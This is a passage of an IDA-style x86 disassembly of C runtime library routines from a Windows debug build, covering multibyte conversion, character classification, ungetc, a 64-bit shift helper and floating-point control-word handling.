; Attributes: bp-based frame


sub_42A640	proc near		; CODE XREF: sub_4236C0+74Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4DE428
		call	dword_4E0454	; InterlockedIncrement
		cmp	dword_4DE424, 0
		jz	short loc_42A678
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement
		push	13h
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_42A67F
; ---------------------------------------------------------------------------


loc_42A678:				; CODE XREF: sub_42A640+18j
		mov	[ebp+var_4], 0


loc_42A67F:				; CODE XREF: sub_42A640+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A6C0
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42A6A8
		push	13h
		call	sub_41BD20
		add	esp, 4
		jmp	short loc_42A6B3
; ---------------------------------------------------------------------------


loc_42A6A8:				; CODE XREF: sub_42A640+5Aj
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement


loc_42A6B3:				; CODE XREF: sub_42A640+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A6C0	proc near		; CODE XREF: sub_42A640+4Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi


loc_42A6C6:				; CODE XREF: sub_42A6C0+3Aj
		cmp	dword_447480, 1
		jz	short loc_42A6F6
		cmp	dword_447480, 2
		jz	short loc_42A6F6
		push	offset aMb_cur_max1Mb_ ; "MB_CUR_MAX ==	1 || MB_CUR_MAX	== 2"
		push	0
		push	4Fh
		push	offset dword_435718
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42A6F6
		int	3		; Trap to Debugger


loc_42A6F6:				; CODE XREF: sub_42A6C0+Dj
					; sub_42A6C0+16j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42A6C6
		cmp	[ebp+arg_4], 0
		jz	short loc_42A708
		cmp	[ebp+arg_8], 0
		jnz	short loc_42A70F


loc_42A708:				; CODE XREF: sub_42A6C0+40j
		xor	eax, eax
		jmp	loc_42A819
; ---------------------------------------------------------------------------


loc_42A70F:				; CODE XREF: sub_42A6C0+46j
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42A72E
		cmp	[ebp+arg_0], 0
		jz	short loc_42A727
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0


loc_42A727:				; CODE XREF: sub_42A6C0+5Dj
		xor	eax, eax
		jmp	loc_42A819
; ---------------------------------------------------------------------------


loc_42A72E:				; CODE XREF: sub_42A6C0+57j
		cmp	dword_4DE074, 0
		jnz	short loc_42A754
		cmp	[ebp+arg_0], 0
		jz	short loc_42A74A
		mov	ecx, [ebp+arg_4]
		movzx	dx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		mov	[eax], dx


loc_42A74A:				; CODE XREF: sub_42A6C0+7Bj
		mov	eax, 1
		jmp	loc_42A819
; ---------------------------------------------------------------------------


loc_42A754:				; CODE XREF: sub_42A6C0+75j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_42A7DD
		cmp	dword_447480, 1
		jle	short loc_42A7B0
		mov	edx, [ebp+arg_8]
		cmp	edx, dword_447480
		jl	short loc_42A7B0
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setnz	al
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, dword_447480
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	9
		mov	ecx, dword_4DE084
		push	ecx
		call	dword_4E0428	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_42A7D6


loc_42A7B0:				; CODE XREF: sub_42A6C0+B7j
					; sub_42A6C0+C2j
		mov	edx, [ebp+arg_8]
		cmp	edx, dword_447480
		jb	short loc_42A7C6
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+1]
		test	ecx, ecx
		jnz	short loc_42A7D6


loc_42A7C6:				; CODE XREF: sub_42A6C0+F9j
		call	sub_4224D0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42A819
; ---------------------------------------------------------------------------


loc_42A7D6:				; CODE XREF: sub_42A6C0+EEj
					; sub_42A6C0+104j
		mov	eax, dword_447480
		jmp	short loc_42A819
; ---------------------------------------------------------------------------


loc_42A7DD:				; CODE XREF: sub_42A6C0+AEj
		xor	edx, edx
		cmp	[ebp+arg_0], 0
		setnz	dl
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	9
		mov	edx, dword_4DE084
		push	edx
		call	dword_4E0428	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_42A814
		call	sub_4224D0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42A819
; ---------------------------------------------------------------------------


loc_42A814:				; CODE XREF: sub_42A6C0+142j
		mov	eax, 1


loc_42A819:				; CODE XREF: sub_42A6C0+4Aj
					; sub_42A6C0+69j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42A6C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_447480, 1
		jle	short loc_42A843
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42A85A
; ---------------------------------------------------------------------------


loc_42A843:				; CODE XREF: .data:0042A82Bj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax


loc_42A85A:				; CODE XREF: .data:0042A841j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_447480, 1
		jle	short loc_42A890
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42A8A5
; ---------------------------------------------------------------------------


loc_42A890:				; CODE XREF: .data:0042A87Bj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 1
		mov	[ebp-4], eax


loc_42A8A5:				; CODE XREF: .data:0042A88Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_447480, 1
		jle	short loc_42A8D0
		push	2
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42A8E5
; ---------------------------------------------------------------------------


loc_42A8D0:				; CODE XREF: .data:0042A8BBj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 2
		mov	[ebp-4], eax


loc_42A8E5:				; CODE XREF: .data:0042A8CEj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_447480, 1
		jle	short loc_42A910
		push	4
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42A925
; ---------------------------------------------------------------------------


loc_42A910:				; CODE XREF: .data:0042A8FBj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp-4], eax


loc_42A925:				; CODE XREF: .data:0042A90Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_447480, 1
		jle	short loc_42A953
		push	80h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42A96A
; ---------------------------------------------------------------------------


loc_42A953:				; CODE XREF: .data:0042A93Bj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp-4], eax


loc_42A96A:				; CODE XREF: .data:0042A951j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A980	proc near		; CODE XREF: sub_4236C0+105p
					; sub_424B80+24p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_447480, 1
		jle	short loc_42A9A0
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_42A9B5
; ---------------------------------------------------------------------------


loc_42A9A0:				; CODE XREF: sub_42A980+Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8
		mov	[ebp+var_4], eax


loc_42A9B5:				; CODE XREF: sub_42A980+1Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A980	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_447480, 1
		jle	short loc_42A9E0
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42A9F5
; ---------------------------------------------------------------------------


loc_42A9E0:				; CODE XREF: .data:0042A9CBj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 10h
		mov	[ebp-4], eax


loc_42A9F5:				; CODE XREF: .data:0042A9DEj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_447480, 1
		jle	short loc_42AA23
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42AA3A
; ---------------------------------------------------------------------------


loc_42AA23:				; CODE XREF: .data:0042AA0Bj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax


loc_42AA3A:				; CODE XREF: .data:0042AA21j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_447480, 1
		jle	short loc_42AA73
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42AA8A
; ---------------------------------------------------------------------------


loc_42AA73:				; CODE XREF: .data:0042AA5Bj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 157h
		mov	[ebp-4], eax


loc_42AA8A:				; CODE XREF: .data:0042AA71j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_447480, 1
		jle	short loc_42AAC3
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42AADA
; ---------------------------------------------------------------------------


loc_42AAC3:				; CODE XREF: .data:0042AAABj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 117h
		mov	[ebp-4], eax


loc_42AADA:				; CODE XREF: .data:0042AAC1j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_447480, 1
		jle	short loc_42AB10
		push	20h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42AB25
; ---------------------------------------------------------------------------


loc_42AB10:				; CODE XREF: .data:0042AAFBj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 20h
		mov	[ebp-4], eax


loc_42AB25:				; CODE XREF: .data:0042AB0Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 80h
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 7Fh
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_447480, 1
		jle	short loc_42AB75
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42AB8C
; ---------------------------------------------------------------------------


loc_42AB75:				; CODE XREF: .data:0042AB5Dj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax


loc_42AB8C:				; CODE XREF: .data:0042AB73j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_42ABA1
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_42ABA1
		mov	dword ptr [ebp-8], 0
		jmp	short loc_42ABA8
; ---------------------------------------------------------------------------


loc_42ABA1:				; CODE XREF: .data:0042AB90j
					; .data:0042AB96j
		mov	dword ptr [ebp-8], 1


loc_42ABA8:				; CODE XREF: .data:0042AB9Fj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_447480, 1
		jle	short loc_42ABD5
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42ABEC
; ---------------------------------------------------------------------------


loc_42ABD5:				; CODE XREF: .data:0042ABBDj
		mov	ecx, [ebp+8]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax


loc_42ABEC:				; CODE XREF: .data:0042ABD3j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_42AC01
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_42AC01
		mov	dword ptr [ebp-8], 0
		jmp	short loc_42AC08
; ---------------------------------------------------------------------------


loc_42AC01:				; CODE XREF: .data:0042ABF0j
					; .data:0042ABF6j
		mov	dword ptr [ebp-8], 1


loc_42AC08:				; CODE XREF: .data:0042ABFFj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42AC10	proc near		; CODE XREF: sub_4236C0+9D7p
					; sub_4236C0+A65p ...
		cmp	cl, 40h
		jnb	short loc_42AC2A
		cmp	cl, 20h
		jnb	short loc_42AC20
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_42AC20:				; CODE XREF: sub_42AC10+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_42AC2A:				; CODE XREF: sub_42AC10+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_42AC10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_42AC37:				; CODE XREF: .data:0042AC5Fj
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_42AC5B
		push	offset dword_43449C
		push	0
		push	31h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42AC5B
		int	3		; Trap to Debugger


loc_42AC5B:				; CODE XREF: .data:0042AC3Bj
					; .data:0042AC58j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42AC37
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_41AE20
		add	esp, 4
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42ACA0
		add	esp, 8
		mov	[ebp-4], eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_41AE90
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42ACA0	proc near		; CODE XREF: sub_424B60+11p
					; .data:0042AC75p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_42ACA7:				; CODE XREF: sub_42ACA0+2Fj
		cmp	[ebp+arg_4], 0
		jnz	short loc_42ACCB
		push	offset dword_4344AC
		push	0
		push	60h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42ACCB
		int	3		; Trap to Debugger


loc_42ACCB:				; CODE XREF: sub_42ACA0+Bj
					; sub_42ACA0+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42ACA7
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_42AD07
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jnz	short loc_42AD0F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_42AD07
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42AD0F


loc_42AD07:				; CODE XREF: sub_42ACA0+3Bj
					; sub_42ACA0+58j
		or	eax, 0FFFFFFFFh
		jmp	loc_42ADD7
; ---------------------------------------------------------------------------


loc_42AD0F:				; CODE XREF: sub_42ACA0+48j
					; sub_42ACA0+65j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_42AD24
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_429D20
		add	esp, 4


loc_42AD24:				; CODE XREF: sub_42ACA0+76j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [ecx]
		cmp	eax, [edx+8]
		jnz	short loc_42AD4F
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_42AD42
		or	eax, 0FFFFFFFFh
		jmp	loc_42ADD7
; ---------------------------------------------------------------------------


loc_42AD42:				; CODE XREF: sub_42ACA0+98j
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_42AD4F:				; CODE XREF: sub_42ACA0+8Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42AD8D
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		movsx	ecx, byte ptr [ebp+arg_0]
		cmp	eax, ecx
		jz	short loc_42AD8B
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		or	eax, 0FFFFFFFFh
		jmp	short loc_42ADD7
; ---------------------------------------------------------------------------


loc_42AD8B:				; CODE XREF: sub_42ACA0+D7j
		jmp	short loc_42ADA4
; ---------------------------------------------------------------------------


loc_42AD8D:				; CODE XREF: sub_42ACA0+BAj
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl


loc_42ADA4:				; CODE XREF: sub_42ACA0:loc_42AD8Bj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	al, 0EFh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_42ADD7:				; CODE XREF: sub_42ACA0+6Aj
					; sub_42ACA0+9Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42ACA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42ADE0	proc near		; CODE XREF: sub_425690+5Ap
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_42ADE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	word ptr [ebp-4]
		mov	ax, [ebp-4]
		push	eax
		call	sub_42B1E0
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	word ptr [ebp-4]
		fnclex
		mov	ax, [ebp-4]
		push	eax
		call	sub_42B1E0
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AE30	proc near		; CODE XREF: sub_42AE80+10p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_10]
		mov	ax, [ebp+var_10]
		push	eax
		call	sub_42AF00
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_4]
		not	edx
		mov	eax, [ebp+var_8]
		and	eax, edx
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42B080
		add	esp, 4
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AE30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AE80	proc near		; CODE XREF: sub_425BE0+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42AE30
		add	esp, 8
		pop	ebp
		retn
sub_42AE80	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	sub_4293E0
		mov	eax, [eax]
		mov	[ebp-4], eax
		fninit
		call	sub_425BE0
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42AEF1
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		mov	eax, [edx]
		and	eax, 10008h
		test	eax, eax
		jz	short loc_42AEF1
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		add	edx, 1Ch
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp-8]
		mov	dword ptr [ecx+8], 0FFFFh


loc_42AEF1:				; CODE XREF: .data:0042AEBEj
					; .data:0042AECFj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AF00	proc near		; CODE XREF: sub_42AE30+12p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_42AF25
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx


loc_42AF25:				; CODE XREF: sub_42AF00+1Aj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_42AF3D
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_42AF3D:				; CODE XREF: sub_42AF00+33j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42AF56
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx


loc_42AF56:				; CODE XREF: sub_42AF00+4Bj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_42AF6E
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx


loc_42AF6E:				; CODE XREF: sub_42AF00+63j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_42AF86
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax


loc_42AF86:				; CODE XREF: sub_42AF00+7Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42AFA2
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx


loc_42AFA2:				; CODE XREF: sub_42AF00+94j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 0C00h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 800h
		jg	short loc_42AFD5
		cmp	[ebp+var_8], 800h
		jz	short loc_42AFE8
		cmp	[ebp+var_8], 0
		jz	short loc_42AFE0
		cmp	[ebp+var_8], 400h
		jz	short loc_42AFF3
		jmp	short loc_42B007
; ---------------------------------------------------------------------------


loc_42AFD5:				; CODE XREF: sub_42AF00+B9j
		cmp	[ebp+var_8], 0C00h
		jz	short loc_42AFFE
		jmp	short loc_42B007
; ---------------------------------------------------------------------------


loc_42AFE0:				; CODE XREF: sub_42AF00+C8j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_42B007
; ---------------------------------------------------------------------------


loc_42AFE8:				; CODE XREF: sub_42AF00+C2j
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx
		jmp	short loc_42B007
; ---------------------------------------------------------------------------


loc_42AFF3:				; CODE XREF: sub_42AF00+D1j
		mov	eax, [ebp+var_4]
		or	ah, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42B007
; ---------------------------------------------------------------------------


loc_42AFFE:				; CODE XREF: sub_42AF00+DCj
		mov	ecx, [ebp+var_4]
		or	ch, 3
		mov	[ebp+var_4], ecx


loc_42B007:				; CODE XREF: sub_42AF00+D3j
					; sub_42AF00+DEj ...
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 300h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_42B049
		cmp	[ebp+var_C], 200h
		jz	short loc_42B03B
		cmp	[ebp+var_C], 300h
		jz	short loc_42B033
		jmp	short loc_42B055
; ---------------------------------------------------------------------------


loc_42B033:				; CODE XREF: sub_42AF00+12Fj
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		jmp	short loc_42B055
; ---------------------------------------------------------------------------


